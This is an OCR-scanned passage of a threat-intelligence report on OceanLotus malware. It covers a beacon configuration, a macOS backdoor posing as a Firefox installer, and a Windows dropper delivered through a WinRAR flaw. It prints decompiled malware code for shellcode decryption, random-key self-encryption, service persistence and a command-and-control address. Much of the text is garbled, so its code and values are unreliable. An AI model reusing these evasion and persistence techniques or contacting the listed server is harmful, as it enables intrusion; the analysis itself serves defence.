segfen: aeaeaa49 and al, 2sh

Seglae: aeeeaads xchg eax, edx

The decrypted data is a beacon module, as shown in the figure:

EHigEE beacon.dll
EESEEENVC 9.0

H[EE SiE SlAGE =
et _Reflectiveloaderi@ma KERMEL32.dll
rdata ADVAPIZZ.dII
.data WININET.AII
reloc ws2_32.dll
DNSAPLAI
IPHLPAPLDLL =

Extract the configuration file information as follows:
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e = s v i s
B 574 » BB 42 177 i rasEe

n L

office. all=af

f=fref=nb_sb_nozz_ 1,/1BT-3294585-0262949/ field-kewword

==baoks
L €Mozilla/S. 0 Mindows NT B.1; WOWE4: Trident/T.0:
rw:11.0) like Gecko 4
L @/H4215/adj anzn. us. sr. aps Il
d
gL L

Mocept: #% s

THost: . L7 fsescion—tokens -
fekincnosk T e=m-hit=s-24KU1 1 BBSZRISIGTIEDE 1419899012996 —
—Lookie

s

L +

Mocept: #f% L
Content-Trpe: text/aml o
i-Requested-With: XMLHttpRequest L

THost: www. amazon. com 4
sz=1B0x800 . dee=oe=IS0-8859-1; * q:n
—==3T1T “do_ref=httpHIANEFEEFwww. amazon, com ¥ LoJ
L @%windir% syswowBdrundll32. exe L
B¥windir¥isysnative rundll3z. exe ¥L
€M\ ¥shpipemsagent ¥
1 Il 1 d q] 1 4

+ L 4GET + L 4pOsT .4 %44 8 o9
S R TN A0 I 144 toqE, -
L

f
L

u] 1 Al

MAC Backdoor

The analysis object is a MAC backdoor disguised as a browser.

|| Firefox.dmg 2018/9/27 17:01 DMG 3z 2,863 KB

The extracted file structure is as follows, which is a macOS installation package, as shown in the figure:

=L Erd=E: A S
. background 2019/5/7 1210  Zrid=s
| fseventsd 2019/5/7 12:10 g [
. HF5+ Private Directory Data_ 2018/3/23 12:10 g
J .Trashes 2018/3/23 12:10 prat=
| [HFS+ Private Data] 2018/3/23 12:10 ===
| Firefox.app 2019/5/7 12:10 it
|| .DS_Store 2018/3/23 12:10 DS_STORE 32f4 11 KB
|| Volumelconicns 2018/3/23 12:03 ICMS 304 449 KB

After opening it, the interface for installing Firefox will be displayed. Double-click the Firefox icon, and the

Dropper process will be executed:
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[ NON ] El Firefox

It will pop up the interface of fake FireFox and click update. Even if the Internet is disconnected, the download

progress bar will appear, which is forged by the attacker:

[ ]

\  Firefox

500 What's new i VMware Shared
Folders

L< | =
Firefox is designed by Mozilla, a glebal community working
togsther to keep thes Wb opan, public and accessibls to all. .
‘Want to help? Make a donation or get involved!

Firefox

Licensing Information End-User Rights Privacy Policy

1 ‘IR';__.E _ * L & "\ @\ e’ wﬁ

This is the fake interface the attacker drew:
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1K

# = aEs S o

enlproj
|+ ajax-loader.gif
B background.png
B| Backgroundinfo.png
R bg.png
|| GSUIcon.icns
Bs| Update Add-on copy.png
| UserDefault.conf
|| ViewControllerQ.nib

|| ViewControllerL.nib

|| ViewController2.nib

=] background.png - Windows BBR =5

TE v HEPE) v BTEEE 22U v 50 v @

Firefox

Firefox is designed by .a working
together to keep the Web open, public and accessible to all.

Want to help? or
Jo [P \@. M Y ¢ | X

After running, Dropper will create the following APP in the Library directory to start up:

/ Users/username/Library/LaunchAgents/com, apple. Spell. Agent. The plist

"EN" "http:ss

The app in the startup directory to the directory: / Users/username/Library/Spelling/spellagentd file, the file in

OSX bin file, code did add case processing, will decrypt the shellcode in memory and execute, as shown in figure:
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1| inte4 _ usercall start@<rax>(__int64 alfi<rbx>, _ int64 a2@<rls>, _ inte4 a3f@rs>)
27

3 unsigned int v3; // ecx

4 unsigned _ int64 wv&; // rax

5 unsigned int v5; J/ edx

6| unsigned _ int16 *vé; [/ rbx

7 __intea (__fastcall *v7)(__inte4, _ inte4); // ris

8| char va; // [rsp+

9 id *retaddr; //

18

11 3 = *(_DWORD *)(((unsigned _ inte4)start & @xFFFFFFFFFFFF@B@OLL) + @x18);
( va

12| if

13 {

14/ 4 = (unsigned __int64)start & @xFFFFFFFFFFFFO@eOLL | @x20;

15 Vs = B;

16 while ( *(_DWORD *)u4 != 25 || *(_OWORD *)(v4 + 18) != 6@7346@636892678476LL )
18 +Hv53

9 vd += *(unsigned int *)(v4 + 4);

L2 if ((vE »= w3 )

goto LABEL_1@;

SRR
I

[N}

_ intls **)(v4 + 24);
w0

5
6
7 a2 = *((unsigned int *)vé - 1);
3 VB -= 25
9
] while ( !az );
al = (__int64)vé - a2;

)

__inté4))sub_F@@ees8FD(al, =2, (_ int64)&v3, @x40@0LL, a3);// Decode codes

3 & o

retaddr = (voi
return V{1, 2205 R shellcode |

0

-

LWL WL WL W W R R R MR
3 =

After execution back to the address: rio.imbandaad.com, through a Post request packets sent to the server:

http://rio.imbandaad.com/v3/yQ/r/eiCulgd6Qme.js

Stream Content

POST /v3/yq/r/eiculgdegme.js HTTP/1.1

Host: rio.imbandaad.com

User-Agent: curl/7.11.3

Accept: ®/%

Content-Length: 319

Content-Type: application/x-www-form-urlencoded

scoocoooo & .TXH. . .r2D. . QB aann s mz.....t.4.4.viwIw..f.al..8u0 g...\. .. AL,

e Z e [ TR s T g...8.1..... Zovnnn =.cccc z.x2/
ucpl..u...I.....h.85..e..n... ). %. ..

L.+.0|K.V....,C.g.n.+3H 6..e\,..1-..2w....J...bv...... n...|
X.@0,-..1...%_....2»H...aj.... . % ....... eN7% y..Q..T.F.......T1T". . .FO...+.k. :.vU...F|

But the address is no longer valid. The signature information of the App is as follows:

Identifier = org, mozilla firefox+

Format=bundle with mach-o universal (386 x86_64)+
CodeDirectory v=20200 size=623 flags=0x0{none) hashes=24+3 location=embedded+
Hash type = shal size = 20+

CDHash = flebdfdfaOc6ab158bc619350c54d3e337a5d845+
Signature size = 4233+

Authority=Developer ID Application: Melinda Cline (P74QRIXB2F)+«
Authority = Developer ID Certification Authority+

Authority = Apple Root CA+

Signed Time=Mar 22, 2018, 9:10:20 PM+

The Info. The plist entries = 24+

Teamldentifier = P7T4QRIXB2F+

Sealed Resources version=2 rules=12 files=11+

Internal reguirements count = 1 size = 212+

CocCocUpdate

CocCocUpdate is a Dropper that is released into the startup directory using a compression package constructed by

cve-2018-20250 vulnerability. The screenshot of the compression package is as follows:
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SUP-DIR>  2019/428 17:3... ik
& <SUB-DIR>  2019/2/2122:0... X{F3E

] 1.jpg 281,107 2019/2/2122:0... PG 3T 281,107 100%  Good 0x28...
[ 1.psd 1,255,822 2019/2/2122:0... PSDXI{f 1,255,822 100% Good OxX2E...
] 200 227,226 2019/2/21 22:0... PG XL 227,226 93%  Good 0xDC..
[E=]2.ped 1,688,711 2019/2/21220.. PSDHF 1,688,711 100% Good Ox2A..
& 3.pg 225,017 2019/2/21 22:0... PG M 225,017 100%  Good OXAF..
[®E]3.psd 1,903,698 2019/2/21 22 PsD 3T 1,903,698 100%  Good Ox5F...
@ 4.jpg 1,273,862 2019/2/21 22; PG M 1,273,862 100% Good 0x1B...
[5=]4.psd 8,724,681  2019/2/2122: PSD T 5,724,681  100% Good OX75...
+ | ARIALUNLTTF 23,275,812 2019/2/2122: TrueType I3 23,275,812 100% Good 0x3C..
[E=]bank.psd 3,025,020 2019/2/2122; PSD X 3,025,020 100%  Good OX3F...
& bank_copy.ipg 362,302 2019/2/21 22: IPG 3T 362,302 100%  Good 0x23...
[ Card.psd 15,037,073 2019/2/21 22: PSD X 15,037,073 100% Good OX7E...
(] card_copy.jpg 290,512 2019/2/21 22; PG I 290,512 100%  Good 0xF8...
+ Imprisha. ttf 54,380 2019/2/21 22; TrueType S 54,380 100%  Good OxBA..
[%|Nam_1.psd 5,211,785  2019/2{21 22 PSD X 5,211,785 100%  Good Ox1F...
[%]nam_2.psd 10,604,129 2019/2/21 22 PSD X 10,604,129  100% Good 0x3C..
[E=INam_3.psd 3,422,039 2019/2/21 22: PSD X 3,422,039 100% Good 0x64...
[E=Inam_4.psd 6,014,052 2019/2/21 22: PSD ET# 6,014,052 100% Good Ox4A..
[E=INu_L.psd 2,131,971 2019/2(2122: PSD X 2,131,971 100% Good OxC4..
[E=INu_2.psd 3,022,455  2019/2(2122; PSD X 3,022,455 100%  Good 0x33...
[5]Nu_3.psd 5,923,571 2019/2{2122: PSD X 5,923,571  100% Good 03F9...
A OCR_A_BT.tif 25,568 2019/2/21 22: TrueType ={F {4 25,568 100%  Good - OxCB.

4 OCR_A_Extended.ttf 56,624 2019/2/21 22: TrueType {374 56,624 100%  Good - 0X69...
+ |OCRAStd.otf 29,460 2019/2/21 22:0... OpenType SHFIHF 29,460 99%  Good - 0x21...
+ |OCR-B_10_Pitch_BT.Hf 21,028 2019/2/21 22:0...  TrueType I 21,028 100% Good - 0x37...
[E|us-bank.psd 1,944,230 2019/2/21220.. PSDXHF 1,944,230 100% Good - 0x38...
@ us-bank_copy.ipg 209,750 2019/2/2122:0... PG I{F 209,750 100% Good - OXFC..

After restart, it will be executed by the system, and the corresponding file is coccocupdate.exe. We have exposed a
Dropper version of random key passing through command line parameters in 2015. This coccocupdate.exe is

improved to pass random key through environment variables.
The specific steps are as follows:

1. Gets the full path of the executed coccocupdate.exe in an environment variable with a value of

"C091A8C8" for later reading.

1pFileName = (LPCWSTR)(({(int (__tl “y(int (__stdcall ***)(int, int)))off_47C478[3])(&off_a7Ca7@) + 16);
if ( !fun_GetEnwWalue((LPWSTR )& ne, L"C@91ASCE") || 'weslen(l Name) }
{

Filename = 8;

memset (&v1087, 8, @x206u)

GetModuleFileNameW(@, &F » @xledu);

if ( !wcslen(&F me) || !SetEnvironmentVariableW(L"C@91ASC8", &Fil

goto LABEL_115;

1. Randomly generate a 128-byte key and store it in an environment variable with a value of
"DB99050C";Used to encrypt the shellcode data that follows them.

Page 40 of 79



https://ti.gianxin.com /blog/articles/oceanlotus-attacks-to-indochinese-peninsula-evolution-of-targets-techniques-and-procedure/

@ v4E = _time64(@);

1 srand(v43);

2 = @;

3 memset(&v111, @, 63u);

4 va9 = 8;

5 do

6 F(E&V110 + v404++) = rand();

7 while ( w49 < @x4@ );
string = @;
memset (&

v5e = &5
v &
16;

= *(vS1 - 2);
= a@12345678%abcd[ (unsigned int)(unsigned _ int8)*(vsl - 2) >> 4];
a@12345678%abcd[v53 & @xF];

oW e ® W0

el el el el el el el el el sl el el el el el s el
YO YRR FYIR PO YN UYIR PV VIR FYRR PV WO YO N O O N OO O O X

8 A = (unsigned _ int8)*(v51 - 1);
9 v58[1] = v54;
140 vse[2] = a@12345678%9abcd[v55 >> 4]; |
141 a@12345678%abcd[vS5 & @xF];
142 \ (unsigned _ int8)*ws1;
143 vS@8[3] = v56;
144 v56[4] = a@12345678%abed[
145 ) a812345678%bcd["
146 = (unsigned _ int8)vs1i[1];
147 a[s] = vsa;
148 8[6] = a@12345678%abed[v50 > 4];
149 8[7] = a@123456789abcd[vs0 & @xF];
158 58 += 8;
151 += 4;
152 V523
153 1
154 while ( v52 );
155 lpvalue = (LPCWSTR)&vI6;
156 fun_MultiByteToWideChar((int)&lpvalue, &5t » BxFDE9u);
157 vE@ = SetEnvironmentVariablel(L"DB99@58C", Value) == @;
oouoseac|| . eese o7 now byte ptr [eax+7], d1
0640500F || . 83CO 68 add eax, &
06405012|| . 83C1 o4 add ecx, 4
06405015(] . 4F dec edi
06405016 || .~ OF85 7SFFFFFILjnz 00404F 91
- 68 EOFDBBBA | push @FDEQ
. 8D8D 28FBFFF|lea ecx, duord ptr [ebp-408]
. 8D85 ALFSFFFlea eax, dword ptr [ebp-75C]
T push  ecx
. 8DSD AGFSFFFIlea ecx, duord ptr [ebp-760]
. 8985 ABFSFFF mou duord ptr [ebp-768], eax
oouesesal| . ES F1EEFFFF | gall 00403F30
0040503F || . 8B9S ABFSFFFI mou edx, dword ptr [ebp-760]
ooseseus|| . 52 push
00405046 ] . 68 54124888 | push 00401254 UNICODE “DB99058C™
0OuES64B || . FFD3 call
oosesouD|| . 85CO test eax, eax
ecx=0812FA! (ASCII|“E2BPEESDAPSDSCTATELSAACASFCBD92B77CB8BA6920B1608D393D7FBA968C957 FFFD55C6B32 0604 B4ABCD 44 1E237BFFE67ABAZEF BAAXMABBEF B9165326FAC211")

1. Encrypt the data at 0x40E000 by random key, and write the modified PE file to Temp directory, and then

execute it through CreateProcess:
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.data:0040E000 ; char hyte 4BEERA[447030]

.data:0040E000 byte AGEGOD db @Fh ; DATA XREF: HEADER:88488118to
.data: B848EBEE ; HEADER:®848028Cto ..
.data:ea4pERaL db 4ch ; L
.data:@a40ER82 db 58h ; X
.data:@a410E083 db 93h
.data:@848EBBL db 4
.data:@848E885 db B
.data:884BEB86 db 6
.data:a48ELE7 db 7
.data: @040ERESE db a
.data:@a40ER09 db @Dh
.data:@a40EBBA db @ah
.data:@840ERBE db @Bh
.data:8e48E88C db @ch
.data:@84B8EBBD db 8Fzh
.data:6848EBBE db @Flh
.data: e040ERBF db  @Fh
.data:@840E010 db 18h
.data:@a48E811 db 8agh
.data:@848E@12 db 1Zh
.data:@848E013 db 8BZh
.data:@848E814 db 14h
.data:8848E815 db 55h ; U
.data:0848E616 db @AEh
.data:e840E0L7 db 17h
.data:@a4BEQLE db 23h ; #
.data:@848E819 db @ch
.data:@e48EBLA db 1&h
.data:@84B8EQ1E db 8F3h
.data:8848E81C db 27h ; '
.data:@e40E01D db &9h ; 1
.data:@e40ERLE db 1Eh
.data:@840EBLF db 3Fh ; ?
.data:@840E020 db 4Dh ; M
.data:@e4BEm21 db Sih : 0Q
.data:@848E822 db 22h ; "
.data:@848E823 db 28h ; *
.data:B848E624 db 74h ; ©
.data:@e4pER25 db &&h ; °
.data:@840EB26 db 26h ; &
.data:ee40E027 db 27h ; '
.data:@e48EB28 db &4h ; d
.data:0040E029 db  28h ; (
.data:@84BEB2A db 2Eh ; .
.data:0e4BE02E db 2Bh ; +
.data:ee48E82C db @Eeh
.data:@848E02D db 7eh ; p
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80465235 83ch 28 add esp, 28

80465238 6n 68 push a hTemplateFile = HULL

00405230 6A 00 push a Attributes = @

004085230 6A B4 push 4 fode = OPEM_ALWAYS

B046523E 6n 68 push a pSecurity = NULL

a04p5240 6 8@ push a ShareMode = 8

00405242 68 00000040 |push 40000660 Access = GENMERIC_MWRITE

B84 65247 8D85 BUFDFFFIlea eax, dword ptr [ebp-24C]
58 push eax FileHame = "Cz\DOCUME™1\ADHINI~1\LOCALS™1\Temp\5B7 .tmp"
FF15 48104001 call dword ptr [<&KERNEL32.CreateFiliLcreateFilew

4 - (_DWORD)pszExt, (LPDWORD)&1pBuffer, @) 88 v64 == lpBuffer )
//Read its own exe data

“WES + vEE + B);

')(amm:msaaa - (char *

nt) = "7l + v71[1] )

if ( v70 3= ®(unsigned _ Y68 + 6) )
goto LABEL_100;
2w vES 4 40 * V70 + 248;
if (172 )
if ( pszExt )
operator delete((void *)pszExt);

gOTo LABEL_115;

= (int)8uEs[*(_DWORD *)(v7Z + 20) - *(_DWORD *)(v72 + 12)];
T =8

menset (893, 0, BxFFu);

59 = 8;

fun_GenRe4kEY((int)4vo7, (int)dvile, 64);
4 = (WCHAR *)pszExt;

97, (int)pszExt + t + 73, a47979);// ENcryptresources

» (_BYTE *)
1th, Bx40000008u, 8, O, 4u, 8, 0);

62 = v75; in your own data
i { V75 & 475 e (HANDLE)-1 )

ILE ) ((char *)&va3 4+ 1);

Module = 8;
if ( WriteFile(v7s, w74, ®"(int *){(char *)&393 + 1), (LPDWORD)&hModule, @) 88 == hodule )

CloseHandle(; 'H

-IpReserved, @, exdeu)i// Write the encrypted data to the exe in temp
ion.hThread = @;

JdwProcessld = 8;
.dwThreadld = @;
fo.ch = 68;
2 nformat .hProcess = @;
CreateProcessi(fpszPath, 8, @, @, 8, 8, @, @, &startuplnf essIpformation); .
sub_484330( (void **)EpszExt); /7 Execute the modif?ed self, the key exists in the process

The following figure shows the comparison between the original file and the encrypted file. It can be seen that
there is no change in the code segment, except that the array of global variables 0xd00O is encrypted by the

random key.
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M CocCocUpdated.exe
Of fset o1 2 3 4 5 & 7 g
0000CFeO OO0 00 OO0 00 00 00 00
0000CF70 OO0 00 OO0 00 0O 00 00
0000CFB0 00 00 OO0 00 OO0 00 0O
0000CF90 00 00 00 00 00 00 00
0000CFAD OO0 00 OO0 00 00 00 0o
00O00CFEO OO0 00 OO 00 OO0 00 00
00ooCFCO 00 00 00 00 00 00 0o
0000CFDO 00 00 00 00 00 o0 0o
00OOCFED OO0 00 00 00 00 00 0o

0000CFED 00 00 00 00 00 00 00 00 vueennnennnnn..
00000000 iE [ 554 [, B
00000010 LE] ©.2.UB.#..6'1.7
00000020 2 5} £ MQ"*t &'d{.+apy’
00000030 EE Ge047.¢92: ;ii=>7
00000040 |5 9] EE E HURPZYEXT JENX0_
0000D0s0 5 6] EE P=SPVUVRCIIYE ]~ .
0000D060 |6 6] EE jfiDfdefen)kk.b.j
0000D070 |7 6] Wy e Epzy | 1.
0000D0aon E CEa. L SIHIZInine
oooopogn 1 B iR, 1a.:011

Page 166 of 17994 Offset: CF&0 =176 | Block

HEX 5BT.tmp

4 |Offset <
000OCFGO 00 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 veenvennnennnnns
000OCF70 00 00 OO 00 OO0 00 00 00 00 00 00 00 00 00 00 00 veenvennnnnnnnn.
000OCFE0 00 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 veenvennnnnnnnn.
000OCF90 00 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 veenvennnnnnnnn.
0O0OCFAOD 00 00 OO 00 00 00 00 00 00 00 00 00 00 00 00 00 veenvennnnnnnnn.
OOOOCFED 00 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 veenvennnnnnnnn.
000OCFZO 00 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 veenvennnnnnnnn.
000OCFDO 00 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 veenvennnnnnnnn.
0DOOOCFED 00 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 veenvennnnnnnnn.
0000CFFD 00 00 00 00 00 vunvenneennnnn..
pooopooo | B FE ) ) 7lF ] [5.7] M B E.1vg«iiV.+.g. A0
00000010 BIn< 2516 OW0EAIX
00000020 U.%.2Z0i8P 1, rwa¥
0000D03on G LOP? - TRE L
0oo0Do40 aDapn . mi. . OPf .01
0000D0s0 14,420 . . 6AE. MEELG
0000D060 Fenr(1-i ld=L.g. Al
00000070 Us,gBe-174111.0C,
00000080 1<010faa44E£" | gh
00000090 Al pu..ig...1” -,

Page 167 of 17994 Offset: D060 =176 | Block:

1. If the file is bundled, it will decrypt and release a bundled file (the key is in the last 64 bytes) from a
resource of resource type 10 and resource number 1, such as a Word document or a normal file, and then
execute it through ShellExectue. The file does not use the decoy file to release the bundled file, so the ID is

wrong:
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SizeofResource(@, v4);

= LoadResource(@®, v5);

ckResource(v7);
g )
LOBYTE(v24) = @;
| sub_4@43C8((const void **)&pszixt, @, v - 64, (int)&34); |
N H
memset (&v102, @, @xFFu);
105 = @
277 fun_GenRc4kEY((int)& 161, (int)vi, 64);
ﬂVm_RVCt;-I;ré(DdE((i't)& 181, (int)vB + 64, pszExt, vB5 - (_DWORD)pszExt);
=

18 = weslen(vo);

12, @, Bx286u);

8@ = (unsigned i yvas
if ( !wescpy_s(&psz h, @x184u, lpFileName) )
if ( PathRenameExtensionW(&pszPath, va3) }
v14 = CreateFileW(&pszPath, @x40000000u, @, @, 4u, @, @);
iF (14 )
i
if ( w14
i
Numbe itten = @;
wH B X E
e Shing
- RC Data
H-[ 1 Manifest

5. The executed temp process will first determine whether there are environment variables of "C091A8C8" set, if

any

If it is encrypted by the original Dropper, it will read the randomly generated 128-bit key from the "DB99050C"
environment variable, decrypt the code at 0x40e000, and then decrypt one more layer and decompress one more

layer, because the code has one layer of encryption and compression in the original Dropper:
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memset(&.98, @, @xFFu);

T
fun_GenRc4kEY((int)&

» (int)dvile, 64); First decrypt with a

fun_RCaDecode((int)&v37, (int)dword 40E8@8, dword 40E@00, 447979);
VT = §_TmageBase; random key
v27 = (const CHAR *)virtualalloc(e, (SIZE_T)& ImageBase, ©x300@u, @x4eu);
if (127 )

goto LABEL_75;
v28 = 8;
do

dword_48E8@R[v25] = vIE8 + v28 [/ @xFF; dec t again

+v28; ryptag

while ( 25 < @x6DSEB );

if ( sub_4034E@(dword_40EG00, 447979, v27, BuE2) )
goto LABEL_75;

29 = *({_DWORD *)v27 + 15);

[v2s + 128];

+ 132) / exldu;

481
482
483 lpBuffer = @;

484 if ((v32 <=9 )

v 1;
*(int *)((char *)&93 + 1) = v32;

485 {

486 LABEL_57:

487 v39 = *(_WORD *){v31 + 6);

488 H

489

418

411

412

413 val = w31l + 248;

414 if ( *(_DWORD *)(v31 + 4@ * w48 + 248) == 'ler.' && *(_DWORD *){v4l + 48 * w42 + 4) == 'co" )
415 break;

416 if (#4030 >=

417 gote LABEL_75;

418

419 = &u27[*(_DWORD *)(v4l + 48 * vaa + 12)];
428 va2 )

421

422 for ( ; *(_DWORD *)va2; v42 +m *{({_DWORD *)va2 + 1) )
Extract:

120 {

121 if (V12 >= @x28 )

122

123 v1iE = w18 & Bx1F;

124 if ( lvig )

125 {

126 while ( !*v11 )}

127 {

128 vlG += 255;

129 +Hvll;

13@ if { v16 » @xFFFFFE@L )

131 goto LABEL_81;

132 if ( v5 - (unsigned int)vil < 1 )
133 goto LABEL_77;

134 }

135 v1d = (unsigned _ int8)*vilH;

136 vlé += v18 + 31;

137 if ( w5 - (unsigned int)vil < 2 )
138 goto LABEL_77;

139

148 vl5 = (unsigned int)&7[-((unsigned int)*(unsigned __intle *)v1l »» 2) - 1];
141 va = vll o+ 25

142 goto LABEL_62;

143

144 if ( vie >= 8x18 )

145

146 v19 = (int)&v7[-2048 * (vie & 8)];
147 vl6 = v1e & 7;

148 if ( lvig )

149 {

15@ while ( !*v11 )

151

152 w16 += 255;

153 Hwll;

154 if { w16 > @xFFFFFE@L )

155 goto LABEL_81;

156 if ( v5 - (unsigned int)vil < 1)
157 goto LABEL_77;

158 }

159 v16 4+= (unsigned __ int8)*vilH + 73
168 if ( w5 - (unsigned int)vil < 2 )
161 goto LABEL_77;

162

163 v28 = v19 - ((unsigned int)*(unsigned _ intlé *}vil »>> 2};
164 vd = vlil + 2;

165 if ( (_BYTE *)v28 == v7 )

166 {

167 *ad4 = (int)&7[-a33];

168 if (w4 == (_BYTE *)v5 )

6. The decrypted file is a PE file, which will be executed in memory after decryption, as shown in the figure:
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BEF40H06 | 4D SA 98 B0 B3 08 68 B8 A4 0O B8 8@ FF FF @8 88 MZ? ... |...Jij..
OOF40P610| B8 B0 00 PO OO0 OO 0P A0 4O OO OO OO GO 60 00 68| F...... Hocooocas
0OF40020| 80 60 99 B0 OO 60 00 OO GO 60 90 OO 6O 89 60 60| ... .............
BOFLBB30| B8 B0 DD PP OO OO0 GO0 PP 0D OO OO OO E8 B0 80 60| ............ oo

fOF40040| B0 60 99 00 OO 60 00 OO OGO 60 90 OO 6O 89 60 60| ... .............
0OF40050 |00 00 90 PO OO0 00 90 DD OO 00 90 00 GO0 @9 00 00| ... ... ..........
OOFL4 G060 | @0 B0 00 PO A0 GO 0D PP OO OO 00 OO 6O 89 00 66| ... ... ... ......
OOF4007Y0 |00 00 00 PO OO0 OO 00 PO OO 60 90 OO 60 89 0O 60| ... . ... ...
OOFL0080| @0 60 09 PO A0 GO 0D PP OGO OO 0D OO 6O 88 00 66| ... ... ... ......
OOF40090 |80 60 99 B0 OO 60 00 OO OGO 60 90 OO 6O 89 60 60| ... .............
BOFLBDAG| B8 B0 DO OO OO B0 OGO PP OO OO 6O OO0 00 B0 B0 60| . ...............
0OF400B0 | @0 60 99 00 OO0 00 00 OO GO 60 90 OO 6O @9 00 68| ... ... ... ......
0OF400CH | 00 00 90 PO OO0 00 00 DD OO 00 90 00 GO0 @9 00 00| ... .. ...........
OOFLB6D0| @0 B0 00 PO A0 GO 0D PP GO OO 00 OO0 6O B9 00 66| ... ... ... ......
OOF40O0ED | B0 60 09 00 OO 60 00 BO 50 45 90 00 4C 81 64 68| ........ PE..LF).
OOFL4BOFG|CC 5D 49 4F B0 00 G0 6P 0D 00 60 60 EO 88 B2 21 Eglﬂ ........ T
O0F4O106| BB B1 OB GO BB CO BB B 60 4 69 00 60 60 00 60| N f..7..F......
0OF491108|14 40 00 00 00 10 90 00 0O DO 99 00 00 00 00 10 HE.. . H...7....0
AOFLB126 B0 10 6P A B 62 08 66 05 G0 61 00 68 60 08 68 M. —_ Y f ...
9OF4O1360| 05 B0 01 00 90 OO 00 00 00 20 BA 00 60 64 00 09 Y., .. ... aoo fbo
AOFLG146 B0 GG 0A A B2 60 46 61 00 66 10 00 68 16 06 68| . ... @EF, .N..H_.
0OF49150 |80 60 19 00 66 19 00 BO GO 69 90 0O 10 69 0O 60| . .0..H...... Hoao
BOFLB1668|CA 9E 09 OO 45 68 60 69 7C 95 689 OO 78 A9 B8 60 ﬂﬁ..E...|?.x...
OOF49170 |00 60 99 0 OO 60 00 OO OGO 60 90 OO 6O 89 60 60| ... .............
0OF49150| 00 90 09 PO OO0 0O 00 DO 00 DO 99 00 60 12 @0 680 ......... %o Uao
OOFL4H190| 80 60 09 PO A0 GO 0D PP OO 6O 00 OO 6O 88 00 66| ... ... ... ......
OOF491A0 |00 90 99 PO OO0 00 00 PO OO 00 9D OO GO0 89 A0 0B ... .. ...........
f@F461BO| DO 88 B9 OO0 4O GO 00 0P OO GO B0 OO OO0 B0 00 B E@..@ ...........
OOF491CH |86 DO 09 6O 98 61 00 BO GO 69 90 OO 6O 89 60 68 .7.7..........

BOFL4B1DO| B8 B0 DA PO 9O B0 OGO PP OO OO 6O OO0 00 B0 B0 60| . ...............

if (vae > eu )

while ( 1)
I

42 = y32 + 248;
if ( *(_DWORD *)(w32 + 48 * v4l + 248) == 'ler.’ 8& *(_DWORD *)(v42 + 48 * v4l + 4) == 'co’ )

if ( +Hv4l »= vae )
goto LABEL_75;

43 = &U2B[*(_DWORD *)(v42 + 48 * val + 12)];
if ( wva3
{
for { ; *{_DWORD *)v43; w43 += *((_DWORD *)v43 + 1) )
14 = 8
*(int *)((char *)&94 + 1) = (unsigned int)(*((_DWORD *)v43 + 1) - 8) >> 1;
if ( *(int *)((char *)&94 + 1) > @ )
do
{
14 + 8] & OxFOOR) == ©x3000 )
“)v43 + (*(_WORD *)&w43[2 * va4 + 8] & BxFFF)] += &28[-v93[13]];
¥
while ( v44 ¢ *(int *)((char *)&94 + 1) )3
¥
45 = va3[3e];
if ( was
if ( vo3[31] )

if ( *(_DWORD *)&v28[v45 + 28] )

CHAR *, signed int, _DWORD))&v28[v47])(w23, 1, @) )
slvae]D)s

5 v EMEEH =R o

|| {9FBAABE3-1709-4DE3-BC1B-48683F740A5F} 20
|| {9FBAABE3-1709-4DE3-BC1B-48683F740A5F .clsid 1

L rstrui.exe

Then create the service and point to the rstrui.exe file:
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ExEi zix] g HAv ATE
|2 Enun 2018-4-30 10:24:34
C)5ecwity m 2019-4-30 10:24:34
an] @A) BEG_ST EHEHREE)
ab|Deseription EEG_SZ Microseft Windows System Restore 66
ab]|Di splayHame REG_ST Microseft Windows System Restore &5
34|ErrorContral
J ath
ab]|0bj eetHame ¥
T art EEG_IWORD 000000002 (2) 4
34| Type EEG_THORD 000000010 (16) 4

Rstrui. Exe is an attacker to write a loader, disguised Microsoft Windows System Restore icon:

r-j. rstrui.exe B ﬁ1

(B | BT | HeshTab |Fe | FHEIEE | LIERIGE |

it 18
kil

~F41HRBH Microzoft® Windows Swstem Resztore

WikMpAE 10,00 10586.0

FI.:%E.EBF Microzoft® Windows® Operating Swstem
FEmird 10,00 10586, 0

© Microsoft Corporation. A1l righ. ..
204 EE

fERr AR 2019/4/30 10:24

B35 mig EE)

EES S rotrui. exe

| ®E [ BE || EAW

Mainly responsible for loading {9fbaa883-1709-4de3-8c1b-48683f740a5f} in the same directory through
rundlI32.
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51 memset(&v13, @, @x286u);

52 1strcpyW(&pszPath, &Buffer);

53 PathAppendw(&pszPath, L"rundl1l™);
54 lstrcatW(&pszPath, L"32");

55 IstrcatW(&pszPath, L".exe");

56 memset (&3, 8, @x286u);

57 vE = 83

58 PathAppendi(&vE, L"{9FBAABB3-1709-4DE3-8C1B-48683F740A5F . clsid");
59 String? = @;

(1] memset(&15, @, @x286u);

61 lstrcpyW(&string2, &Buffer);

62 PathAppendu(&string2, L"shell™);
63 lstrcatW(&string2, L"32");

64 1strcatW(&5tringz, L".d11");

&5 CommandLine = 8;

13 memset (&7, B, Bx7FEu);

67 lstrcpyW(&CommandLline, L"rundll™);
68 lstrcatW(&CommandLline, L"32");

59 lstrcatW(&CommandLine, L™.exe™);
70 1strcatW(&CommandLline, L™ ");

71 IstrcatW(&Commandiine, &String2);

72 1lstrcatW(&CommandLine, L™,");

73 1strcati(&Commandline, L*Control RunDLL™);

74 1lstrcatW(&CommandLine, L™ ");

75 1strcatW(&CommandLine, &v3);

76 ProcessInformation.hProcess = 8;

77 ProcessInformation.hThread = @;

78 ProcessInformation.dwProcessId = 8;

79 ProcessInformation.dwThreadId = 8;

2} memset(&StartupInfo, @, @x44u);

81 StartupInfo.cb = 68;

82 Value = @3

83 memset (&5, @, @xFFEu);

84 if ( !GetEnvironmentVariableW(L"path", &alues, @x808u) )
85 Value = @;

86 SetEnvironmentVariablel(L" {83558A16-9C19-4AF6-8D1A-F214D5FB5827}", &value);

a7 IstrcatW(&8value, L";");
88 lstrcatW(&vzlue, &Filename);

89 IstrcatW(&value, L";");

=] SetEnvironmentVariableW(L"path™, &value);

91 result = CreateProcessW(&pszPath, & ommandLine, @, @, @, @, 8, & ilename, &StartupInfo, &ProcessInformation);
92 if { result )

a3

a4 CloseHandle(ProcessInformation.hThread);

as result = CloseHandle(ProcessInformation.hProcess);
a6 }

a7 }

98| return result;

a9}

